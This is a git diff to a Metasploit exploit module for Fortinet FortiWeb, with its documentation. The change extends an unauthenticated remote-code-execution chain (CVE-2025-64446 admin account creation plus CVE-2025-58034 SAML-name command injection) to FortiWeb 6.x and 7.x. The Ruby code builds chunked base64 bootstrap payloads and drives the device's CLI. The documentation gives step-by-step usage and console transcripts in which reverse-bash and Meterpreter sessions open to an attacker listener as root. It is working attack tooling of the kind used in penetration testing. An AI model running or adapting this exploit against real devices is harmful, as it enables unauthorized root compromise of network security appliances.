diff --git a/documentation/modules/exploit/linux/http/fortinet_fortiweb_rce.md b/documentation/modules/exploit/linux/http/fortinet_fortiweb_rce.md index 40e8db48b4726..476d4f705a790 100644 --- a/documentation/modules/exploit/linux/http/fortinet_fortiweb_rce.md +++ b/documentation/modules/exploit/linux/http/fortinet_fortiweb_rce.md @@ -20,6 +20,10 @@ slightly different when compared to the patch versions for `CVE-2025-64446`: * FortiWeb `7.2.0` through `7.2.11` (Patched in `7.2.12` and above) * FortiWeb `7.0.0` through `7.0.11` (Patched in `7.0.12` and above) +Note: Unsupported versions `6.*` are also affected. + +This exploit module has been confirmed to work against `8.0.1`, `7.4.8`, `6.4.3`, and `6.3.9`. + ## Testing Download a suitable FortiWeb-VM image and create a new VM. When creating the VM, assign the first network interface to a network you can target later (e.g. your external network), optionally, assign the second network interface to a private @@ -39,6 +43,22 @@ FortiWeb (port1) # end FortiWeb # ``` +A default gateway (for example `192.168.86.1`) can be configured as follows: + +``` +FortiWeb # config router static + +FortiWeb (static) # edit 0 + +FortiWeb (1) # set gateway 192.168.86.1 + +FortiWeb (1) # set device port1 + +FortiWeb (1) # end + +FortiWeb # +``` + You should now be able to access the management interface via HTTPS, e.g. `https://192.168.86.200/login`. ## Options @@ -72,25 +92,30 @@ Configure the target: 3. `set RHOST ` 4. `set RPORT ` (If different from the default of 443) 5. `set SSL true` (Or set to false if targeting HTTP) +6. `set target 0` (Target `0` is against FortiWeb `8.*` devices, and Target `1` is against FortiWeb `7.*` and `6.*` devices) Configure the payload to execute: -6. `set PAYLOAD cmd/unix/reverse_bash` -7. `set RHOST eth0` -8. `set RPORT 4444` +7. `set PAYLOAD cmd/unix/reverse_bash` +8. `set RHOST eth0` +9. `set RPORT 4444` -_Note: only these payloads have been verified to work:_ +_Note_: These payloads have been verified to work against FortiWeb versions `8.*`: * `cmd/unix/reverse_bash` * `cmd/unix/reverse_openssl` +If targeting FortiWeb `7.*` or `6.*`, these payloads have been verified to work: +* `cmd/unix/reverse_bash` +* `cmd/linux/http/x64/meterpreter_reverse_tcp` + Run the module: -9. `check` -10. `exploit` +10. `check` +11. `exploit` ## Scenarios -### Example 1 (CVE-2025-64446 + CVE-2025-58034) +### Example 1 (CVE-2025-64446 + CVE-2025-58034, against FortiWeb 8.0.1) In this example, `CVE-2025-64446` is used to create a new admin account and then `CVE-2025-58034` is used to execute a payload. This chain gives unauthenticated RCE and is the default operation of the exploit module. @@ -128,7 +153,7 @@ Exploit target: Id Name -- ---- - 0 Default + 0 FortiWeb 8.x @@ -144,6 +169,7 @@ msf exploit(linux/http/fortinet_fortiweb_rce) > exploit [+] New admin account successfully created: isela_fritsch:LpWXiFof [*] Logging in... [+] Successfully logged in as isela_fritsch +[+] Detected target version: 8.0.1 [*] Executing payload via CVE-2025-58034... [*] Uploading bootstrap payload chunk 1 of 4... [*] Uploading bootstrap payload chunk 2 of 4... @@ -164,7 +190,7 @@ exit [*] 192.168.86.202 - Command shell session 1 closed. ``` -### Example 2 (CVE-2025-58034) +### Example 2 (CVE-2025-58034, against FortiWeb 8.0.1) In this example, the attacker has existing admin credentials, so only `CVE-2025-58034` is used to execute a payload. @@ -181,6 +207,7 @@ msf exploit(linux/http/fortinet_fortiweb_rce) > exploit [+] Using existing admin credentials: hax0r:hax0r [*] Logging in... [+] Successfully logged in as hax0r +[+] Detected target version: 8.0.1 [*] Executing payload via CVE-2025-58034... [*] Uploading bootstrap payload chunk 1 of 4... [*] Uploading bootstrap payload chunk 2 of 4... @@ -200,3 +227,119 @@ cat /VERSION exit [*] 192.168.86.202 - Command shell session 2 closed. ``` + +### Example 3 (CVE-2025-64446 + CVE-2025-58034, against FortiWeb 6.3.9) + +In this example we are targeting an older unsupported version of FortiWeb, `6.3.9`. To do this we must change the +exploit target from `0` to `1`, and choose either a Linux or a Unix payload. + +``` +msf exploit(linux/http/fortinet_fortiweb_rce) > show targets + +Exploit targets: +================= + + Id Name + -- ---- +=> 0 FortiWeb 8.x + 1 FortiWeb 7.x and 6.x + + +msf exploit(linux/http/fortinet_fortiweb_rce) > set target 1 +target => 1 +msf exploit(linux/http/fortinet_fortiweb_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp +PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp +msf exploit(linux/http/fortinet_fortiweb_rce) > set RHOST 192.168.86.204 +RHOST => 192.168.86.204 +msf exploit(linux/http/fortinet_fortiweb_rce) > show options + +Module options (exploit/linux/http/fortinet_fortiweb_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, http, socks4, socks5, socks5h + RHOSTS 192.168.86.204 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Base path + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant al + so Python ≥3.8 (Accepted: none, bash, python3.8+) + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + When FETCH_COMMAND is one of CURL,GET,WGET: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell. + + + When FETCH_FILELESS is none: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_FILENAME HxxLnwIWgkV no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces + + +Exploit target: + + Id Name + -- ---- + 1 FortiWeb 7.x and 6.x + + + +View the full module info with the info, or info -d command. + +msf exploit(linux/http/fortinet_fortiweb_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Creating a new admin account via CVE-2025-64446... +[+] New admin account successfully created: oren_hessel:BtNLqzMt +[*] Logging in... +[+] Successfully logged in as oren_hessel +[+] Detected target version: 6.3.9 +[*] Executing payload via CVE-2025-58034... +[*] Uploading bootstrap payload chunk 1 of 7... +[*] Uploading bootstrap payload chunk 2 of 7... +[*] Uploading bootstrap payload chunk 3 of 7... +[*] Uploading bootstrap payload chunk 4 of 7... +[*] Uploading bootstrap payload chunk 5 of 7... +[*] Uploading bootstrap payload chunk 6 of 7... +[*] Amalgamating bootstrap payload chunks... +[*] Executing bootstrap payload... +[+] Finished. +[*] Meterpreter session 4 opened (192.168.86.122:4444 -> 192.168.86.204:23094) at 2025-11-27 12:17:30 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.86.204 +OS : (Linux 5.4.0) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > shell +Process 9873 created. +Channel 1 created. +id +uid=0(root) gid=0 +cli admin console +FortiWeb # get system status +International Version: FortiWeb-HyperV 6.39,build1117(GA),201125 +``` diff --git a/modules/exploits/linux/http/fortinet_fortiweb_rce.rb b/modules/exploits/linux/http/fortinet_fortiweb_rce.rb index 9f3d0c6707ba8..0aadba016a42e 100644 --- a/modules/exploits/linux/http/fortinet_fortiweb_rce.rb +++ b/modules/exploits/linux/http/fortinet_fortiweb_rce.rb @@ -36,6 +36,10 @@ def initialize(info = {}) * FortiWeb 7.4.0 through 7.4.10 (Patched in 7.4.11 and above) <-- slight difference * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above) * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above) + + Note: Unsupported versions 6.* are also affected. + + This exploit module has been confirmed to work against 8.0.1, 7.4.8, 6.4.3, and 6.3.9. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -57,23 +61,45 @@ def initialize(info = {}) # Both vulnerabilities were silently patched by the vendor prior to this date. 'DisclosureDate' => '2025-11-14', 'Privileged' => true, # Executes as root. - 'Platform' => 'unix', # Only some of the unix payloads have been verified to work, the Linux fetch payloads dont execute. + 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Targets' => [ [ - # NOTE: Tested with the following payloads against a vulnerable FortiWeb 8.0.1 and 7.4.8: + # NOTE: Tested with the following payloads against a vulnerable FortiWeb 8.0.1: # cmd/unix/reverse_bash # cmd/unix/reverse_openssl - 'Default', { + 'FortiWeb 8.x', { + 'SupportedMajorVersions' => [8], + # Only some of the Unix payloads have been verified to work, the Linux fetch payloads don't execute + # due to the Linux Integrity Measurement Architecture (IMA) appraisal feature being enabled. + 'Platform' => 'unix', + 'Payload' => { + 'BadChars' => '"' + }, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + # NOTE: Tested with the following payloads against a vulnerable FortiWeb 7.4.8, 6.3.9 and 6.4.3: + # cmd/unix/reverse_bash + # cmd/linux/http/x64/meterpreter_reverse_tcp + 'FortiWeb 7.x and 6.x', { + 'SupportedMajorVersions' => [7, 6], + 'Platform' => ['unix', 'linux'], 'Payload' => { 'BadChars' => '"' + }, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', + 'FETCH_WRITABLE_DIR' => '/tmp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/unix/reverse_bash', 'RPORT' => 443, 'SSL' => true, # The maximum time in seconds to wait for a session. @@ -113,7 +139,8 @@ def check j = JSON.parse(res.body) - return Exploit::CheckCode::Appears if j.dig('results', 'message') == 'Empty value isn\'t allowed.' + # Tested against vulnerable FortiWeb versions 8.0.1, 7.4.8, 6.4.3, and 6.3.9 + return Exploit::CheckCode::Appears if j.dig('results', 'errcode') == -56 CheckCode::Unknown('Unexpected JSON results') rescue JSON::ParserError @@ -161,10 +188,20 @@ def exploit print_good("Successfully logged in as #{admin_username}") + # Exploiting the command injection requires leveraging the CLI. Depending on the target FortiWeb major + # version (6, 7, or 8), how we access the CLI differs. To account for this we pull the target system version + # information here, and use it to verify the Metasploit target supports this major version, and the CLI technique + # we use is correct for the major version being targeted. + system_state = get_system_state + + print_good("Detected target version: #{system_state[:major_version]}.#{system_state[:minor_version]}.#{system_state[:patch_version]}") + + fail_with(Msf::Exploit::Failure::BadConfig, "The chosen exploit target only supports #{target['SupportedMajorVersions'].join(',')}. Set a different target.") unless target['SupportedMajorVersions'].include?(system_state[:major_version]) + begin print_status('Executing payload via CVE-2025-58034...') - execute_payload + execute_payload(system_state) rescue Rex::Proto::Http::WebSocket::ConnectionError => e fail_with(Msf::Exploit::Failure::UnexpectedReply, "CLI websocket connection error: #{e}") end @@ -172,17 +209,26 @@ def exploit print_good('Finished.') end - def execute_payload + def execute_payload(system_state) tmp_file_name = Rex::Text.rand_text_alphanumeric(4) bootstrap_payload = "rm -f #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*;" + # We need to detach our payload from the current session, as when the TCP connections from out HTTP(S) requests close, # the device will tear down any child processes from the CLI, intern killing our payload prematurely. We would normally # use the nohup command for this, however this is unavailable on certain versions (available on 8.0.1, unavailable # on 7.4.8). To work around this, the bootstrap payload below will leverage Python, and use the Popen argument - # start_new_session to do essentially what nohup does - call setsid() to create a new session. This has been - # confirmed to work as expected on 8.0.1 and 7.4.8. - bootstrap_payload += "python -c \"import subprocess;subprocess.Popen(f\\\"#{payload.encoded}\\\",shell=True,start_new_session=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)\"" + # start_new_session to do essentially what nohup does - call setsid() to create a new session. + # When targeting FortiWeb 6.x Python 2 is available, so start_new_session is not available. Instead, we use + # preexec_fn=os.setsid to get the same result. + + if system_state[:major_version] == 6 + # This has been confirmed to work as expected on 6.3.9 ands 6.4.3. + bootstrap_payload += "python -c \"import subprocess,os;subprocess.Popen(\\\"#{payload.encoded}\\\",shell=True,preexec_fn=os.setsid)\"" + else + # This has been confirmed to work as expected on 8.0.1 and 7.4.8. + bootstrap_payload += "python -c \"import subprocess;subprocess.Popen(f\\\"#{payload.encoded}\\\",shell=True,start_new_session=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)\"" + end vprint_status("Using bootstrap payload: #{bootstrap_payload}") @@ -220,7 +266,7 @@ def execute_payload bootstrap_payload = bootstrap_payload[chunk_size..] - execute_cmd("echo -n #{chunk}|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}") + execute_cmd(system_state, "echo -n #{chunk}|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}") idx += 1 @@ -244,14 +290,14 @@ def execute_payload print_status('Amalgamating bootstrap payload chunks...') - execute_cmd("cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}") + execute_cmd(system_state, "cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}") print_status('Executing bootstrap payload...') - execute_cmd("cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}|base64 -d|sh") + execute_cmd(system_state, "cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}|base64 -d|sh") end - def execute_cmd(cmd) + def execute_cmd(system_state, cmd) vprint_status("Executing OS command: #{cmd}") # These bad chars are not allowed in a SAML config name, which is the command injection we leverage. @@ -264,6 +310,68 @@ def execute_cmd(cmd) # The max name length is 63 characters, less 2 for the double backtick, so 61 are available for the OS command. fail_with(Failure::BadConfig, 'Command too long for execute_cmd') if cmd.length > (63 - 2) + case system_state[:major_version] + when 6 + execute_cmd_v6(system_state, cmd) + when 7, 8 + execute_cmd_v7_v8(cmd) + else + fail_with(Failure::NoTarget, "Major version not supported: #{system_state[:major_version]}") + end + end + + def execute_cmd_v6(system_state, cmd) + vprint_status('Connecting to the HTTP CLI console...') + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'httpclirqst'), + 'keep_cookies' => true, + 'vars_post' => { + 'act' => 'connect', + 'session_id' => system_state[:csrf_token] + } + ) + + fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res + + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200 + + console_session_id = res.body.match(/(\d+):Connected/i)[1]&.to_i + + fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get HTTP CLI console session ID') unless console_session_id + + vprint_status("HTTP CLI console session ID: #{console_session_id}") + + gen_cli_commands(cmd).each do |cli_command| + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'httpclirqst'), + 'keep_cookies' => true, + 'vars_post' => { + 'act' => 'xmit', + 'sid' => console_session_id, + 'session_id' => system_state[:csrf_token], + 'cmd' => cli_command + "\n" + } + ) + + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200 + end + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'httpclirqst'), + 'keep_cookies' => true, + 'vars_post' => { + 'act' => 'disconnect', + 'sid' => console_session_id, + 'session_id' => system_state[:csrf_token] + } + ) + end + + def execute_cmd_v7_v8(cmd) vprint_status('Connecting to the CLI websocket...') wsock_headers = { @@ -282,7 +390,27 @@ def execute_cmd(cmd) vprint_good('Successfully connected to the CLI websocket') - cli_commands = [ + cli_commands = gen_cli_commands(cmd) + + wsock.wsloop do |buffer, _| + vprint_line(buffer) + + if buffer.end_with? ' # ' + cli_command = cli_commands.shift + + break if cli_command.nil? + + vprint_status("Running CLI command: #{cli_command}") + + wsock.put_wsbinary("#{cli_command}\n") + + break if cli_commands.empty? + end + end + end + + def gen_cli_commands(cmd) + [ 'config user saml-user', "edit \"`#{cmd}`\"", "set entityID http://#{Rex::Text.rand_text_alpha(4..8)}", @@ -294,22 +422,46 @@ def execute_cmd(cmd) "set sso-path /#{Rex::Text.rand_text_alpha(4..8)}", 'end' ] + end - wsock.wsloop do |buffer, _| - vprint_line(buffer) + def get_system_state + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'v2.0', 'system', 'state'), + 'keep_cookies' => true + ) - if buffer.end_with? ' # ' - cli_command = cli_commands.shift + fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res - break if cli_command.nil? + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200 - vprint_status("Running CLI command: #{cli_command}") + j = JSON.parse(res.body) - wsock.put_wsbinary("#{cli_command}\n") + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected system state status: #{j['status']}") if j['status'] != 'success' - break if cli_commands.empty? - end - end + # NOTE: The returned JSON has an expected typo 'resutls' which we have to account for. + + major_version = j.dig('resutls', 'config', 'CONFIG_MAJOR_NUM')&.to_i + major_version ||= j.dig('results', 'config', 'CONFIG_MAJOR_NUM')&.to_i + + fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_MAJOR_NUM') unless major_version + + minor_version = j.dig('resutls', 'config', 'CONFIG_MINOR_NUM')&.to_i + minor_version ||= j.dig('results', 'config', 'CONFIG_MINOR_NUM')&.to_i + + fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_MINOR_NUM') unless minor_version + + patch_version = j.dig('resutls', 'config', 'CONFIG_PATCH_NUM')&.to_i + patch_version ||= j.dig('results', 'config', 'CONFIG_PATCH_NUM')&.to_i + + fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_PATCH_NUM') unless patch_version + + csrf_token = j.dig('resutls', 'admin', 'csrf_token')&.to_i + csrf_token ||= j.dig('results', 'admin', 'csrf_token')&.to_i + + { major_version: major_version, minor_version: minor_version, patch_version: patch_version, csrf_token: csrf_token } + rescue JSON::ParserError + fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to parse JSON body') end # The FortiWeb reverse proxy/WebSocket server appears to be non-compliant. The "Upgrade" header is supposed to